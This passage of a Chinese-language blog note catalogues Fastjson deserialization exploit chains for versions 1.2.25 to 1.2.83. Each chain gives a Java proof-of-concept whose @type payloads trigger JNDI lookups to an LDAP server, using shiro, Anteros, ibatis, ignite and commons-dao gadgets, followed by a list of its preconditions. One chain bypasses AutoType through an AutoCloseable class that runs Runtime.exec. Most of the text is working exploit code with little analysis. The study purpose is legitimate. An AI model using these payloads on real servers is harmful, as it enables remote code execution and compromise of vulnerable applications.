ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://localhost:1234/Calc\"], \"Realms\":[\"\"]}";
JSON.parse(payload);
}
}

限制

  • 需要开启autoTypeSupport
  • 需要shiro组件
  • 利用JNDI,受JDK版本限制

调试分析

暂无

anteros链

漏洞分析

绕过禁用类黑名单。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package Poc;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.rmi.server.ExportException;
/*
需要开启autoTypeSupport
<dependency>
<groupId>com.codahale.metrics</groupId>
<artifactId>metrics-healthchecks</artifactId>
<version>3.0.2</version>
</dependency>
<dependency>
<groupId>br.com.anteros</groupId>
<artifactId>Anteros-Core</artifactId>
<version>1.2.1</version>
</dependency>
<dependency>
<groupId>br.com.anteros</groupId>
<artifactId>Anteros-DBCP</artifactId>
<version>1.0.1</version>
</dependency>
*/
public class Poc_1_2_66_b {
public static void main(String[] args) throws ExportException {
// turn on autoTypeSupport
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://localhost:1234/Calc\"}";
// String payload = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"ldap://localhost:1234/Calc\"}";
JSON.parse(payload);
}
}

限制

  • 需要开启autoTypeSupport
  • 需要metrics-healthchecks、Anteros-Core、Anteros-DBCP组件
  • 利用JNDI,受JDK版本限制

调试分析

暂无

IbatisSqlmap链

漏洞分析

绕过禁用类黑名单。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package Poc;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.rmi.server.ExportException;
/*
需要开启autoTypeSupport
<dependency>
<groupId>org.apache.ibatis</groupId>
<artifactId>ibatis-sqlmap</artifactId>
<version>2.3.4.726</version>
</dependency>
<dependency>
<groupId>javax</groupId>
<artifactId>javaee-api</artifactId>
<version>8.0.1</version>
</dependency>
*/
public class Poc_1_2_66_c {
public static void main(String[] args) throws ExportException {
// turn on autoTypeSupport
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://localhost:1234/Calc\"}}";
JSON.parse(payload);
}
}

限制

  • 需要开启autoTypeSupport
  • 需要ibatis-sqlmap、javaee组件
  • 利用JNDI,受JDK版本限制

调试分析

暂无

1.2.25-1.2.67

igniteJta链

漏洞分析

禁用黑名单绕过。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package Poc;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.rmi.server.ExportException;
/*
需要开启autoTypeSupport
<dependency>
<groupId>org.apache.ignite</groupId>
<artifactId>ignite-jta</artifactId>
<version>2.8.0</version>
</dependency>
*/
public class Poc_1_2_67_a {
public static void main(String[] args) throws ExportException {
// turn on autoTypeSupport
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\", \"jndiNames\":[\"ldap://localhost:1234/Calc\"], \"tm\": {\"$ref\":\"$.tm\"}}";
JSON.parse(payload);
}
}

限制

  • 需要开启autoTypeSupport
  • 需要ignite-jta组件
  • 利用JNDI,受JDK版本限制

调试分析

暂无

shiro链

漏洞分析

禁用黑名单绕过。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package Poc;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.rmi.server.ExportException;
/*
需要开启autoTypeSupport
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
*/
public class Poc_1_2_67_b {
public static void main(String[] args) throws ExportException {
// turn on autoTypeSupport
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://localhost:1234/Calc\",\"instance\":{\"$ref\":\"$.instance\"}}";
JSON.parse(payload);
}
}

限制

  • 需要开启autoTypeSupport
  • 需要shiro组件
  • 利用JNDI,受JDK版本限制

调试分析

暂无

1.2.25-1.2.68

漏洞分析

利用expectClass绕过AutoType,不是黑名单绕过,不需要开autoTypeSupport。

Exp

1
2
3
4
5
6
7
8
9
10
11
package Poc;

import com.alibaba.fastjson.JSON;

public class Poc_1_2_68 {
public static void main(String[] args) throws Exception{
String payload = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"Poc.VulAutoCloseable\",\"cmd\":\"calc\"}";
JSON.parse(payload);
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package Poc;

public class VulAutoCloseable implements AutoCloseable{

public VulAutoCloseable(String cmd) {
try {
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void close() throws Exception {

}
}

限制

  • 需要在Server端有实现了AutoCloseable的类或者子类

调试分析

暂无

1.2.25-1.2.83

漏洞分析

绕过禁用类黑名单。
利用springboot环境下的commons-dao组件,进行jndi注入。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package Poc;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
/*
需要开启autoTypeSupport
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.7</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<dependency>
<groupId>com.epam.reportportal</groupId>
<artifactId>commons-dao</artifactId>
<version>5.0.0</version>
</dependency>
*/
public class Poc_1_2_83 {
public static void main(String[] args) throws Exception{
// turn on autoTypeSupport
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\": \"com.epam.ta.reportportal.config.DataSourceConfig\",\"metricRegistry\": \"ldap://localhost:1234/Calc\"}";
JSON.parse(payload);
}
}

限制

  • 需要开启autoTypeSupport
  • 需要springboot环境、commons-dao组件
  • 利用jndi执行命令,受JDK版本限制

调试分析

暂无

小结

挠头,fastjson这么多利用,给我语雀都整卡了= =

参考链接

fastjson反序列化 漏洞分析文章
1.2.48之后的利用@mi1k7ea
mi1k7ea师傅的fastjson漏洞分析系列 很详细适合学习
su18师傅 比上一个简略
https://tttang.com/archive/1579/
https://xz.aliyun.com/t/12096
关闭ASM开关,方便进行调试
https://blog.csdn.net/qq_45854465/article/details/120960671
ASM动态加载相关,如何查看内存生成的类的源码
https://juejin.cn/post/6974566732224528392#heading-6
https://blog.csdn.net/wjy160925/article/details/85288569
toJSONString()方法的源码分析(较浅)
https://blog.csdn.net/qq_31615049/article/details/85013129